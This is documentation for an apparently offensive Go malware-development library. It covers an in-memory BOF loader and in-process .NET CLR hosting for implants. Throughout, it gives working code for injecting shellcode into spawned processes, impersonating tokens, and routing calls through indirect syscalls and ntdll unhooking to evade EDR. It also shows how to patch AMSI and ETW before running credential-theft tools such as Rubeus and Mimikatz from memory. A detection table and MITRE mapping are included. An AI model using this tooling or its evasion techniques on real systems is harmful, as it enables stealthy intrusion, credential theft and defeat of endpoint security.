Pass arguments to the BOF (parsed via BeaconData*)Config.ArgsVariadic — the BOF's BeaconDataInt / BeaconDataPtr etc. consume them

What this DOES achieve:

  • Public BOFs (TrustedSec/CS-Situational-Awareness-BOF, TrustedSec/CS-Remote-OPs-BOF, Outflank/C2-Tool-Collection) run unmodified.
  • Beacon API stubs implemented in Go — no Cobalt Strike needed on the operator side.
  • Dynamic imports (KERNEL32, ADVAPI32, …) resolve through PEB + ROR13 hash, so the BOF's import table doesn't appear as plaintext strings.

What this DOES NOT achieve (out of the box):

  • No ARM64. x86 and x64 are both supported (x86 via the cross-process loader under -tags=bof_x86_loader, see below).
  • In-process by default — crash in the BOF kills the implant. The default Execute path runs the BOF on the host's OS thread with no isolation. Opt in to SetSacrificialThread to spawn a dedicated thread with a VEH that turns BOF-mapping faults into a recoverable Go error.
  • AMSI / ETW telemetry from the BOF still fires — pair with evasion/preset.Stealth before Run.

Primer

A BOF is a relocatable COFF (.o) object compiled by MSVC / MinGW. The format is the same as Linux's .o but for Windows PE-style relocations. BOFs were popularised by Cobalt Strike's inline-execute command — a tactical execution primitive that runs a small piece of native code inside the implant's process without spawning a fresh process or writing a PE to disk.

Use cases:

  • Run small Windows-API-heavy snippets (token enum, share enum, share scan) that don't need a full PE infrastructure.
  • Distribute compiled techniques as a .o artefact rather than a full implant.
  • Compose with the implant's runtime — the BOF runs in the caller's address space, so it can interact with implant state directly.

How It Works

flowchart LR
    INPUT[BOF .o bytes] --> PARSE[parse COFF<br>header + sections]
    PARSE --> ALLOC[VirtualAlloc RW<br>copy every section w/ raw data]
    ALLOC --> RELOC[apply relocations<br>ADDR64 / ADDR32NB / REL32]
    RELOC --> IMP[resolve __imp_*<br>PEB walk + ROR13]
    IMP --> FLIP[VirtualProtect<br>exec sections → RX]
    FLIP --> SEH[RtlAddFunctionTable<br>register .pdata]
    SEH --> SYM[resolve entry symbol<br>from COFF symtab]
    SYM --> EXEC[call entry<br>inline OR sacrificial thread]
    EXEC --> OUT[capture output<br>BeaconPrintf / BeaconOutput]

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/runtime/bof is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — load + execute

import (
    "os"

    "github.com/oioio-space/maldev/runtime/bof"
)

data, _ := os.ReadFile("whoami.o")
b, err := bof.Load(data)
if err != nil {
    return
}
defer b.Close()
output, _ := b.Execute(nil)
fmt.Println(string(output))

Shorter — one-shot helpers (v0.156.0+)

The same three-line pattern (Load → Execute → Close) wrapped in one call. Five helpers cover the common cases:

// 1. One-shot from bytes (embedded via go:embed, decrypted in
//    memory, ...). Load + Execute + Close in one line.
out, err := bof.RunFromBytes(coffBytes, nil)

// 2. One-shot from disk. The stealthopen.Opener parameter is
//    optional — nil falls back to os.Open. Pass a *Stealth /
//    *MultiStealth to read the file via NTFS Object-ID and
//    bypass path-based EDR file hooks.
out, err := bof.RunFromFile(nil, "whoami.o", nil)

// 3. Crash-isolated one-shot. Identical to RunFromBytes but
//    spawns the entry on a sacrificial OS thread with VEH-
//    mediated fault catching. Required: a non-zero timeout.
out, err := bof.RunSafe(coffBytes, args, 5*time.Second)

// 4. Pack a list of strings without the NewArgs boilerplate.
args := bof.ArgsFromStrings("target.exe", "C:\\Windows\\System32")
out, err := bof.RunFromBytes(coffBytes, args)

Prefer the long form (Load + many Execute + Close) when the same *BOF runs many times — the prepare pass amortises across calls. Use the helpers for genuinely one-shot workloads.

Composed — chain multiple BOFs

for _, path := range []string{"whoami.o", "netstat.o", "tasklist.o"} {
    data, _ := os.ReadFile(path)
    b, err := bof.Load(data)
    if err != nil {
        continue
    }
    out, _ := b.Execute(nil)
    fmt.Printf("=== %s ===\n%s\n", path, out)
}

Advanced — pack arguments via Args

data, _ := os.ReadFile("parse_args.o")
b, _ := bof.Load(data)

a := bof.NewArgs()
a.AddInt(42)
a.AddString("hello-args")

out, _ := b.Execute(a.Pack())
fmt.Println(string(out))

The wire format is little-endian to match the Cobalt Strike canonical: TrustedSec COFFLoader, Outflank etc. read length prefixes via memcpy into a native int, which on x64 is a little-endian load. Use AddInt / AddShort for fixed-width ints, AddString for length-prefixed NUL-terminated strings, AddBytes for raw blobs.

Spec.Sacrificial + Spec.Timeout — crash isolation via Run (v0.156.0+)

The Run(ctx, Spec) façade now honours the same sacrificial-thread contract as (*BOF).SetSacrificialThread:

res, err := bof.Run(ctx, bof.Spec{
    Bytes:       coffBytes,
    Args:        args,
    Sacrificial: true,
    Timeout:     30 * time.Second, // mandatory when Sacrificial is set
})

Sacrificial=true without a Timeout returns ErrSacrificialNoTimeout — the package refuses to launch a thread with no wall-clock cap (zero to WaitForSingleObject means "wait forever" and is almost never what an implant wants).

Architecture routing — x64 in-process, x86 cross-process (v0.155.0+)

bof.Run sniffs the COFF Machine field and dispatches: x64 runs in-process, x86 runs in a spawned SysWOW64\rundll32.exe via the cross-process loader DLL embedded under the bof_x86_loader build tag. Without the tag, x86 input returns the sentinel bof.ErrCrossArchX86Unsupported so callers can branch on architecture without parsing the file themselves.

import (
    "context"
    "errors"
    "os"

    "github.com/oioio-space/maldev/runtime/bof"
)

data, _ := os.ReadFile(bofPath)
res, err := bof.Run(context.Background(), bof.Spec{Bytes: data})
switch {
case err == nil:
    // Auto-routed: x64 ran in-process, x86 ran in a WoW64 helper
    // if the implant was built with `-tags=bof_x86_loader`.
    fmt.Println(string(res.Output))
case errors.Is(err, bof.ErrCrossArchX86Unsupported):
    // 32-bit .o detected and this implant was NOT compiled with
    // `bof_x86_loader`. The build-tag gate keeps the implant
    // small for missions that don't need x86 — rebuild with the
    // tag (or fall back to a separate 32-bit implant) when an
    // x86 BOF actually shows up in the corpus.
    log.Printf("skip %s: rebuild with -tags=bof_x86_loader", bofPath)
default:
    log.Printf("bof.Run failed: %v", err)
}

bof.DetectKind(data) is also exported if a caller wants to classify the bytes without running them — handy for triage tools that enumerate a public corpus before execution. See runtime/bof/internal/x86loader/README.md for the x86 loader architecture (Beacon API symbol surface, parent ↔ helper IPC, threat model).

Token impersonation + spawn-and-inject

The slice-1 surface lets a CS BOF impersonate, spawn a sacrificial target, and inject without any extra glue:

b, _ := bof.Load(coffBytes)
b.SetSpawnTo(`C:\Windows\System32\notepad.exe`)
b.SetUserData(payloadShellcode) // optional, surfaced via BeaconGetCustomUserData

out, _ := b.Execute(nil)
// The BOF internally calls:
//   BeaconUseToken(handle)             → ImpersonateLoggedOnUser
//   BeaconSpawnTemporaryProcess(...)   → CreateProcess suspended
//   BeaconInjectTemporaryProcess(...)  → write + CreateRemoteThread + Resume
//   BeaconRevertToken()                → RevertToSelf
fmt.Println(string(out))

Execute pins the goroutine to its OS thread for the entire call, so the impersonation in step 1 is honoured by the syscalls the BOF issues in later steps.

Reuse — prepare once, run many (v0.153.0+)

A single *BOF can be Execute'd any number of times. The expensive load work runs lazily on the first call and is cached on the BOF; subsequent calls skip straight to the entry point.

Cost breakdown per call:

PhaseFirst ExecuteSubsequent Execute
Parse sections
VirtualAlloc + section copy
Resolve imports (PEB walk × N)
Apply relocations
VirtualProtect RW→RX
Reset writable sections (if not persistent)✓ (cheap)
Call entry
import "github.com/oioio-space/maldev/runtime/bof"

bytes, _ := os.ReadFile("whoami.o")
b, _ := bof.Load(bytes)
defer b.Close() // releases the cached RX mapping + .pdata unwind table

// First call: full parse + alloc + reloc + execute.
out1, _ := b.Execute(nil)
fmt.Println(string(out1))

// Second call: reuses the mapping, just re-runs the entry.
out2, _ := b.Execute(nil)
fmt.Println(string(out2))

Close() — release the cached mapping

b, _ := bof.Load(bytes)
out, _ := b.Execute(nil)
if err := b.Close(); err != nil {
    log.Printf("Close: %v", err)
}

// After Close, Execute returns an error rather than crashing.
_, err := b.Execute(nil)
if err != nil {
    // "runtime/bof: Execute on closed BOF"
}

Close is idempotent — multiple calls are safe. It does two things in order: RtlDeleteFunctionTable (unregister the .pdata unwind entries from Bundle E) then VirtualFree (drop the RX mapping). A runtime.SetFinalizer in Load is a safety net for callers who forget Close, but Go finalizer timing isn't guaranteed: long-lived implants should Close explicitly to free the mapping in a timely fashion.

SetPersistent — stateful vs stateless BOFs (v0.153.0+)

SetPersistent arbitrates whether writable sections (.data, .bss, .rdata-with-writes) are restored between Execute calls.

ModeBehaviourSuits
false (default)Each Execute restores writable sections to their initial bytesStateless BOFs — hello_beacon, parse_args, realworld_calls, most CS-SA-BOF corpus
trueWritable sections retain whatever the BOF wrote on the previous ExecuteStateful BOFs that intentionally cache cross-call state in .data — Fortra No-Consolation's LIBS_LOADED cache + handle-info struct

Must be called before the first Execute — see ErrAlreadyPrepared.

Stateless (default) — every call sees fresh memory

b, _ := bof.Load(parseArgsBytes)
defer b.Close()

// .data globals zero'd before each Execute. The BOF observes
// the same initial state on every call regardless of what
// previous calls wrote.
for _, arg := range []string{"alice", "bob", "carol"} {
    a := bof.NewArgs(); a.AddString(arg)
    out, _ := b.Execute(a.Pack())
    fmt.Printf("%s → %s\n", arg, out)
}

Persistent — share state across Execute calls

b, _ := bof.Load(noConsolationBytes)
defer b.Close()

if err := b.SetPersistent(true); err != nil {
    // SetPersistent before Execute always succeeds — error
    // means the caller flipped it AFTER the first Execute,
    // which is a contract violation (ErrAlreadyPrepared).
    log.Fatal(err)
}

// Iteration 1: No-Consolation cold-loads all DLL dependencies,
// stores their handles in LIBS_LOADED (a .data global) via
// BeaconAddValue.
b.Execute(packArgs(pe1))

// Iteration 2: LIBS_LOADED is still warm — the BOF skips the
// LoadLibrary chain entirely.
b.Execute(packArgs(pe2))

SetPersistent after Execute → ErrAlreadyPrepared

b, _ := bof.Load(bytes)
defer b.Close()
b.Execute(nil) // runs prepare() — locks the persistence mode

if err := b.SetPersistent(true); errors.Is(err, bof.ErrAlreadyPrepared) {
    // Expected: flipping the mode after prepare would leave
    // the writable-section snapshots inconsistent. Decide at
    // Load time which mode you want.
}

SetSacrificialThread — crash isolation (v0.154.0+)

By default a BOF runs on the same OS thread as the implant. A wild pointer deref, stack overflow, or busted relocation inside the BOF triggers a Windows SEH exception that propagates through Go's runtime handler and ends in TerminateProcessthe implant dies with the BOF.

SetSacrificialThread(timeout) enables crash isolation: the BOF runs on a dedicated thread, a process-wide Vectored Exception Handler intercepts faults whose address lies inside the BOF mapping, redirects the faulting thread to an ExitThread(1) stub, and the host Execute call returns a clean Go error. The implant keeps running.

ModeWhen BOF AVsHost process
Inline (default)SEH → Go runtime → TerminateProcessdies with the BOF
Sacrificial (SetSacrificialThread > 0)VEH catches in-mapping fault → ExitThread → host gets errorsurvives

Honest limitations

  1. Token impersonation does not cross threads by default — use SetExecuteAsToken to pin one. BeaconUseToken inside the BOF impersonates on the BOF's sacrificial thread; the host goroutine keeps its original token. To start the sacrificial thread under a specific identity, call (*BOF).SetExecuteAsToken(token) before Execute — the loader applies it via SetThreadToken between CreateThread(SUSPENDED) and ResumeThread. BOFs that rely on chained token state across calls still need to manage the chain themselves.
  2. Only faults inside the BOF mapping are caught. A BOF that passes a NULL pointer to kernel32!HeapAlloc takes the fault inside kernel32 — outside the BOF range — and still terminates the implant. The VEH range check is on ExceptionAddress, not on the calling BOF.
  3. TerminateThread (used on timeout) leaks the thread's stack + any kernel objects it held. Windows-design limitation. Set timeouts generously; this is a last-resort kill, not a routine cancellation primitive.

Inline (default) — same thread, fastest

b, _ := bof.Load(coffBytes)
defer b.Close()

// SetSacrificialThread NOT called → inline path.
// If this BOF AVs, the implant dies.
out, _ := b.Execute(args)

Sacrificial — implant survives BOF crashes

b, _ := bof.Load(coffBytes)
defer b.Close()

// 5-second wall-clock cap. Zero would disable.
if err := b.SetSacrificialThread(5 * time.Second); err != nil {
    log.Fatal(err) // ErrAlreadyPrepared if called after Execute
}

out, err := b.Execute(args)
switch {
case err == nil:
    // Happy path — BOF returned normally.
    fmt.Println(string(out))
case strings.Contains(err.Error(), "BOF crashed with exception"):
    // BOF AVed / stack-overflowed / executed an illegal
    // instruction inside its own mapping. Implant is still
    // alive; err carries the exception code + faulting PC.
    log.Printf("BOF crash isolated: %v", err)
case strings.Contains(err.Error(), "BOF timeout"):
    // BOF ran longer than the timeout; the sacrificial
    // thread was terminated. Output captured up to the
    // timeout is in `out`.
    log.Printf("BOF timeout, partial output: %s", out)
default:
    // Other Execute error — usually a Load/prepare problem
    // surfaced lazily on the first call.
    log.Fatal(err)
}

Mixing knobs

Every knob below is independent — pick what fits your threat model and combine freely:

b, _ := bof.Load(realworldCallsBytes)
defer b.Close()

b.SetSpawnTo(`C:\Windows\System32\notepad.exe`)
b.SetUserData(payload)                   // surfaced via BeaconGetCustomUserData
b.SetPersistent(false)                   // default — fresh .data per call
b.SetSacrificialThread(30 * time.Second) // implant survives BOF crashes
b.SetCaller(myIndirectCaller)            // route BeaconInjectProcess via Nt*
b.SetExecuteAsToken(impersonationToken)  // run the sacrificial thread under that token

for _, target := range targets {
    out, err := b.Execute(packArgs(target))
    if err != nil {
        // Whatever the BOF does inside, this `err` is
        // recoverable: bad BOF code, bad target, timeout.
        // The implant doesn't die.
        log.Printf("%s: %v", target, err)
        continue
    }
    process(out)
}

SetCaller — route cross-process Beacon API via *wsyscall.Caller (v0.156.0+)

BeaconInjectProcess (and the spawn/inject combos that build on it) drives three cross-process kernel32 calls: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread. By default these go through the kernel32 wrappers; under userland-hooking EDR they appear in the API trail. SetCaller redirects all three through a *wsyscall.Caller so they route via NtAllocateVirtualMemory / NtWriteVirtualMemory / NtCreateThreadEx — direct, indirect, hells-gate, or any combination the operator builds.

import (
    "github.com/oioio-space/maldev/runtime/bof"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Indirect syscalls with a hells-gate-style SSN resolver.
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
defer caller.Close()

b, _ := bof.Load(coffBytes)
defer b.Close()
b.SetCaller(caller)
_, _ = b.Execute(args)

nil — the default — keeps the kernel32 path. The Caller's lifetime is operator-owned: BOF.Close does NOT call caller.Close, so the same Caller can be shared across many BOFs and inject sites. Matches the convention used across inject.

Scope: only the BeaconInjectProcess primitives route through the Caller. Dynamic imports the BOF itself resolves — __imp_KERNEL32$VirtualAlloc, __imp_ADVAPI32$OpenProcessToken, __imp_NTDLL$Nt*, etc. — are patched into the BOF's import table at prepare time as direct function addresses (PEB walk + ROR13 export match). When the BOF later issues mov reg, [rip+slot]; call reg, it jumps straight to the resolved function and bypasses the operator's Caller entirely.

For full coverage of BOF Win32 calls, clean ntdll instead: the public-corpus audit (CS-SA, 37 BOFs, 652 imports) shows 55% are kernel32/advapi32/etc. wrappers and only 0.4% are Nt* direct — so a per-import shim would only intercept the 0.4%. The pragmatic answer is evasion/unhook: once ntdll's Nt* thunks are restored to their on-disk bytes, kernel32!VirtualAllocntdll!NtAllocateVirtualMemory internally goes through a clean syscall stub, no hook fires. Pair SetCaller with evasion/unhook for end-to-end bypass.

See .dev/refactor-2026/bundle-i-import-routing.md for the closed design discussion + corpus data.

SetExecuteAsToken — pin a token on the sacrificial thread (v0.156.0+)

Closes the historical limitation where BeaconUseToken inside the BOF impersonated only on the sacrificial thread but Execute started that thread under the host's primary token. With SetExecuteAsToken, the loader applies SetThreadToken between CreateThread(SUSPENDED) and ResumeThread — the BOF entry runs under the supplied identity from instruction zero.

Requires SeImpersonatePrivilege (admin / service contexts by default) or a token the caller is permitted to assign.

import (
    "github.com/oioio-space/maldev/runtime/bof"
    "golang.org/x/sys/windows"
)

// Duplicate the current process's primary token to an
// impersonation-grade copy with TOKEN_IMPERSONATE rights.
var primary windows.Token
_ = windows.OpenProcessToken(windows.CurrentProcess(),
    windows.TOKEN_DUPLICATE|windows.TOKEN_QUERY, &primary)
defer windows.CloseHandle(windows.Handle(primary))

var dup windows.Token
_ = windows.DuplicateTokenEx(primary,
    windows.TOKEN_IMPERSONATE|windows.TOKEN_QUERY,
    nil,
    windows.SecurityImpersonation, windows.TokenImpersonation,
    &dup)
defer windows.CloseHandle(windows.Handle(dup))

b, _ := bof.Load(coffBytes)
defer b.Close()
b.SetSacrificialThread(5 * time.Second) // required — token only applies on the sacrificial path
b.SetExecuteAsToken(dup)
_, _ = b.Execute(args)

Zero — the default — keeps the host's primary token. Has no effect on inline Execute (the host's own token always applies on that path).

OPSEC & Detection

ArtefactWhere defenders look
VirtualAlloc(RW)VirtualProtect(RX) cycle on a single mapping (the loader pattern)Behavioural EDR — generic reflective-loader signal even after the RWX→RX-flip mitigation. The two-syscall cadence is itself a tell
MEM_TOP_DOWN allocation with IMAGE_SCN_MEM_EXECUTE content not backed by a loaded moduleETW Microsoft-Windows-Threat-Intelligence (TI events)
BOF entry-point execution from non-image memoryDefender for Endpoint MsSense
RtlAddFunctionTable for a non-image RUNTIME_FUNCTION array (Bundle E)Niche; few products inspect, but kernel ETW captures the kernel-side registration
syscall.NewCallback thunk pages (≈ 28 × 4 KB at first Load)Small VAD entries with characteristic prologue bytes — same signature any Go program with native callbacks emits

D3FEND counters:

  • D3-PA — execute-from-allocation telemetry (RX-after-flip still trips the more thorough EDRs).
  • D3-FCA — YARA on the loaded bytes.

Hardening for the operator (already in the loader by default):

  • RW → RX flip via VirtualProtect after relocations land (loader behaviour since v0.151 — no RWX is ever exposed).
  • MEM_TOP_DOWN placement (high-address bias reduces collision with the host's heap + the most naive low-RVA scanner rules).
  • Encrypt the BOF at rest via crypto; decrypt + load + immediately re-encrypt the source buffer.
  • Pair with evasion/sleepmask for cleartext-at-rest mitigation.
  • Bypass kernel32 userland hooks on the cross-process Beacon API via (*BOF).SetCaller.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1059Command and Scripting Interpreterpartial — in-memory native code executionD3-PA
T1620Reflective Code Loadingfull — COFF reflective loadD3-FCA, D3-PA

Limitations

  • Execute is amortised, not free (v0.153+). The first call on a *BOF runs the full loader pass (parse + VirtualAlloc + relocations + RW→RX flip + .pdata registration). Subsequent calls reuse the mapping — ideal for callers like runtime/pe that load one .o and run it many times. Caller responsibility: call Close() explicitly when done. The runtime.SetFinalizer safety net in Load will eventually RtlDeleteFunctionTable + VirtualFree, but Go finalizer timing isn't guaranteed; long-lived implants leaking RX mappings is a real liability.

  • Default Execute is stateless. Writable sections (.data, .bss, .rdata-with-writes) are restored to their initial bytes between Execute calls. BOFs that intentionally cache state in their .data (No-Consolation's LIBS_LOADED cache) need SetPersistent(true) before the first Execute.

  • Beacon-API surface — full 28-symbol set (slice 1, v0.151+). All beacon.h groups are wired:

    • Data parsing: BeaconDataParse / DataInt / DataShort / DataLength / DataExtract.
    • Output / format: BeaconPrintf + BeaconFormatPrintf (format string forwarded verbatim — varargs caveat below), BeaconOutput, BeaconFormatAlloc / Reset / Free / Append / Int / ToString, BeaconErrorD / ErrorDD / ErrorNA.
    • Tokens: BeaconUseToken (ImpersonateLoggedOnUser) / BeaconRevertToken (RevertToSelf). Execute pins the goroutine to its OS thread for the BOF call so the impersonation is honoured by subsequent Win32 calls; we RevertToSelf on Execute exit as a safety net.
    • Injection: BeaconInjectProcess (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread on a host handle), BeaconSpawnTemporaryProcess (CreateProcess suspended on the configured SpawnTo — rundll32.exe by default), BeaconInjectTemporaryProcess (spawn + inject + resume, teardown on failure), BeaconCleanupProcess (terminate + close).
    • Helpers: BeaconIsAdmin, BeaconGetCustomUserData (blob configured via (*BOF).SetUserData), toWideChar (UTF-8 → UTF-16LE, NUL-terminated).
    • Key-value store: BeaconAddValue / BeaconGetValue / BeaconRemoveValue. Scope is the single Execute call — cross-Run state must go through the implant. Any unknown __imp_Beacon* import still fails at relocation time with unresolved external symbol __imp_BeaconXxx — loud and traceable rather than silent NULL-patching.
  • BeaconFormatAlloc buffers live one Execute call. Slices produced by BeaconFormatAlloc are held on the *BOF (per-instance map, not a process-global). BeaconFormatFree drops the entry; whatever the BOF forgets to free is reclaimed automatically when the next Execute starts and on Close(). A BOF that crashes mid-call no longer leaks its format buffer for the process lifetime.

  • SEH unwind via RtlAddFunctionTable. Every COFF with a non-empty .pdata section gets its RUNTIME_FUNCTION entries registered with the kernel during prepare so the OS unwinder can resolve frames inside the BOF mapping. Without this, a BOF that raises a structured exception (C++ throw, compiler- emitted bounds check, RaiseException) would abort during the unwind walk — the kernel could not find a function entry for the BOF's PC. Registration is silent on failure (malformed .pdata → the BOF still runs, just without SEH support). Close calls RtlDeleteFunctionTable before VirtualFree to avoid leaving dangling unwind context.

  • Cross-process Beacon API routes via optional *wsyscall.Caller. BeaconInjectProcess and the spawn/inject combos use VirtualAllocEx + WriteProcessMemory + CreateRemoteThread by default. Operators that need to bypass userland hooks on these kernel32 surfaces call (*BOF).SetCaller with any *wsyscall.Caller (direct / indirect / indirect-asm / hells-gate). The helpers (beaconRemoteAlloc, beaconRemoteWrite, beaconRemoteCreateThread) then route through NtAllocateVirtualMemory / NtWriteVirtualMemory / NtCreateThreadEx. nil Caller keeps the kernel32 path — matches the convention used across inject.

  • Pointer-safety probes on %s / Beacon string reads. BeaconPrintf("%s", p) (and any callback that dereferences a BOF-supplied char* / wchar_t*) routes through win/api.CStringFromPtr and win/api.WStringFromPtr. Both call VirtualQuery once to clamp the walk to the committed region containing the pointer, so a malformed, freed, or guard-page-crossing pointer returns "" instead of faulting the host. The wide-string heuristic in expandCFormat shares the same probe via SafeRegionBytes.

  • BeaconPrintf / BeaconFormatPrintf varargs are not expanded. syscall.NewCallback binds a fixed-arity Go function as a stdcall callback; Go cannot introspect cdecl varargs from inside the callback. We chose option (a) in the design discussion: forward the format string verbatim. BOFs that pass a literal format with no % directives behave correctly; BOFs relying on printf-style expansion see the format string raw.

    Two alternatives were considered and rejected for the default build:

    • (b) Leave __imp_BeaconPrintf / BeaconFormatPrintf unresolved so BOFs that depend on varargs fail at load time with a loud error. Honest but breaks compatibility with the large TrustedSec / Outflank corpus where BeaconPrintf(CALLBACK_OUTPUT, "...") is used as a no-args writer in 80% of cases.

    • (c) Implement varargs via cgo. A C wrapper around vsnprintf would expand the format and call back into Go with the rendered string. Requires:

      1. A C cross-compile toolchain in the build environment (mingw-w64 on Linux dev hosts, MSVC on Windows CI).
      2. CGO_ENABLED=1 — flips the entire library out of pure-Go mode, which the README sells as a hard guarantee.
      3. A different binary surface in runtime/bof for cgo vs. pure-Go builds, plus a build-tag matrix.

      The cost is steep relative to the gain (a minority of BOFs). Operators who need full vararg expansion can fork the package, drop a bof_cgo_windows.go file behind //go:build windows && cgo && bof_cgo, and supply a C-side vsnprintf wrapper they register via a hook hung off resolveBeaconImport. That extension point is intentionally left open; the default build prioritises pure-Go and accepts the verbatim-format trade-off.

  • External Win32 imports — two forms supported. CS-canonical dollar-form (__imp_KERNEL32$LoadLibraryA) resolves via parseDollarImportapi.ResolveByHash (PEB walk + ROR13 module/function hash, no GetProcAddress / LoadLibrary call appears in the API trail). Mingw-w64 bare form (__imp_LoadLibraryA with no DLL prefix) resolves by walking a curated module list — kernel32, advapi32, user32, ws2_32, ole32, shell32 — first hit wins. Symbols not in the curated set still fail loudly. Add a module to bareImportSearchOrder in beacon_api_windows.go if a particular BOF needs more coverage.

  • Concurrency: BOF execution is serialised package-wide. The Beacon API stubs read a single currentBOF pointer guarded by bofMu. Concurrent Execute calls — including across different *BOF instances — block on each other. This matches the CS-compatible loader convention (BOF execution is fundamentally single-threaded) and keeps the Beacon callback state coherent without per-call dispatch. Implications:

    • Setters (SetUserData, SetSpawnTo, SetSpawnToX86, SetCaller, SetExecuteAsToken, SetPersistent, SetSacrificialThread) are NOT lock-protected. They are safe to call before the first Execute or between Execute calls; calling them from a host goroutine while a sacrificial-thread Execute is in flight is a race the package does not currently guard against. Until a per-BOF mutex lands, callers that need to mutate state mid-flight should drive each BOF from a single goroutine.
    • Errors() after Close() returns the FINAL Execute's buffer, not nil. The byte buffer is not zeroed at teardown — post-mortem inspection works.
    • syscall.NewCallback cost at first Load. Resolving the Beacon import map allocates one RX page per callback (~28 symbols on the default build → ≈112 KB of RX pages), via Go's runtime. Pages live for the process lifetime and show up as small VAD entries with the syscall thunk pattern. Identical to every Go program that uses syscall.NewCallback.
  • x86 BOFs supported via cross-process reflective load (-tags=bof_x86_loader, v0.155.0+). An x86 .o (Machine == 0x014c) is detected as KindCOFFx86 by DetectKind and routed through the coffX86Loader. With the bof_x86_loader build tag active, the orchestrator manually reflective-loads a small i386 DLL (runtime/bof/internal/x86loader/bof_x86_loader.x86.dll, ~11 KB) into a freshly-spawned SysWOW64\rundll32.exe via VirtualAllocEx + WriteProcessMemory + .reloc application + CreateRemoteThread. The loader DLL parses the BOF .o inside the WoW64 helper, implements 25 Beacon API symbols (full beacon.h Groups 1–6 + BeaconGetOutputData + the four Inject/Spawn process-control entries), and writes captured output into a parent-allocated RW region the parent ReadProcessMemory's back. Zero disk artefacts, zero LoadLibrary call on the loader. Default builds (no tag) surface bof.ErrCrossArchX86Unsupported — operators errors.Is against it. See runtime/bof/internal/x86loader/README.md for the architecture diagram, ABI, and threat-model notes.

  • Relocation coverage. IMAGE_REL_AMD64_ABSOLUTE (no-op), _ADDR64, _ADDR32 (errors out cleanly when target exceeds 32-bit range), _ADDR32NB, _REL32, and the _REL32_1 through _REL32_5 bias variants. Exotic relocations (TLS, GOT, _SECTION, _SECREL) are not supported — the loader fails with unsupported relocation type: 0xNN so the failure mode is obvious instead of a silent corruption.

  • No RWX is exposed. The loader allocates PAGE_READWRITE then flips exec sections to PAGE_EXECUTE_READ after relocations land. Hardened EDRs still flag the VirtualAllocVirtualProtect(EXECUTE) cadence on a fresh mapping — pair with evasion/sleepmask to hide the mapping at rest.

See also

CLR (.NET) in-process hosting

← runtime index · docs/index

TL;DR

You want to run a .NET assembly (Mimikatz / SharpHound / Rubeus / Seatbelt) inside your implant without dropping .exe to disk and without spawning powershell.exe -enc .... This package hosts the CLR in your process and runs the assembly from memory.

You want to…UseNotes
Run an assembly from diskRunLoads file, hosts CLR, calls EntryPoint
Run an assembly from memory bytesRunBytesPre-decrypted assembly never lands on disk
Pass Main(string[] args) argumentsConfig.ArgsForwarded to the assembly's entry point
Capture stdout/stderr from the assemblyConfig.Stdout / Config.Stderrio.Writer interface; default = os.Stdout / os.Stderr

AMSI v2 scans every AppDomain.Load_3 payload — SharpHound, Rubeus, Seatbelt will be blocked unless you patch AMSI first. Apply evasion/amsi.PatchAll or preset.Stealth BEFORE calling Run.

What this DOES achieve:

  • Equivalent to Cobalt Strike's execute-assembly — same capability, native Go.
  • No .exe on disk; no child-process creation; no powershell.exe -enc (which is the textbook EDR trigger).
  • COM-based hosting via ICLRMetaHost / ICorRuntimeHost — works against .NET 4.x runtimes (most Windows installs).

What this does NOT achieve:

  • Doesn't bypass AMSI — must be done upstream.
  • Doesn't bypass ETW DotNETRuntime provider — JIT events (assembly load, method compile) fire to that provider regardless. Defenders subscribed see the assembly load.
  • CLR loads only once per process — first call wins. Can't swap runtimes between Run calls.
  • Pre-.NET 4.0 / .NET Core / .NET 5+ unsupported — those use a different hosting API. Most operator tools target 4.x because Windows ships it.

Primer

The Common Language Runtime is the .NET execution engine. Any process can host the CLR by importing mscoree.dll and calling CLRCreateInstance. The hosting process gets a managed runtime inside its address space and can load + invoke .NET assemblies without spawning dotnet.exe / powershell.exe.

Operationally:

  • Run SharpHound / Rubeus / Seatbelt / GhostPack tooling in-process from a Go implant — no separate .exe to drop, no process-tree anomaly.
  • Side-step dotnet.exe / powershell.exe lineage rules.
  • Bridge to the entire .NET ecosystem for credential dumping, token theft, AD enumeration.

The trade-offs are loud:

  • Loading clr.dll + mscoreei.dll in a non-.NET process is itself a high-fidelity heuristic.
  • AMSI v2 scans every Load_3 call; without an AMSI patch most published tooling is blocked.
  • ETW Microsoft-Windows-DotNETRuntime emits assembly-load events.

How It Works

sequenceDiagram
    participant Imp as "Implant"
    participant MH as "ICLRMetaHost"
    participant RT as "ICLRRuntimeInfo"
    participant Host as "ICorRuntimeHost"
    participant AD as "AppDomain (default)"
    participant Asm as "managed assembly"

    Imp->>Imp: mscoree.CLRCreateInstance
    Imp->>MH: GetRuntime("v4.0.30319")
    MH-->>RT: ICLRRuntimeInfo
    Imp->>RT: GetInterface(CLSID_CLRRuntimeHost, IID_ICorRuntimeHost)
    RT-->>Host: ICorRuntimeHost
    Imp->>Host: Start
    Imp->>Host: GetDefaultDomain
    Host-->>AD: IUnknown → IDispatch
    Imp->>AD: Load_3(SAFEARRAY[byte])
    AD-->>Asm: loaded assembly
    Imp->>Asm: EntryPoint.Invoke(args)
    Asm-->>Imp: managed code runs in-proc

Load(nil) picks the preferred installed runtime (v4 > legacy). For .NET 3.5 (legacy) targets call [InstallRuntimeActivationPolicy] first to register the required CLSID — disabled by default on modern Windows. The package returns [ErrLegacyRuntimeUnavailable] when the legacy runtime can't be activated.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/runtime/clr is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — load + execute

import (
    "os"

    "github.com/oioio-space/maldev/runtime/clr"
)

rt, err := clr.Load(nil)
if err != nil {
    return
}
defer rt.Close()

asm, _ := os.ReadFile("Seatbelt.exe")
_ = rt.ExecuteAssembly(asm, []string{"-group=system"})

Composed — AMSI patch + ETW patch + execute

import (
    "os"

    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/runtime/clr"
)

if err := amsi.PatchAll(); err != nil {
    return
}
_ = etw.PatchAll()

rt, _ := clr.Load(nil)
defer rt.Close()

asm, _ := os.ReadFile("Rubeus.exe")
_ = rt.ExecuteAssembly(asm, []string{"triage"})

Advanced — list + pick runtime

versions, _ := clr.InstalledRuntimes()
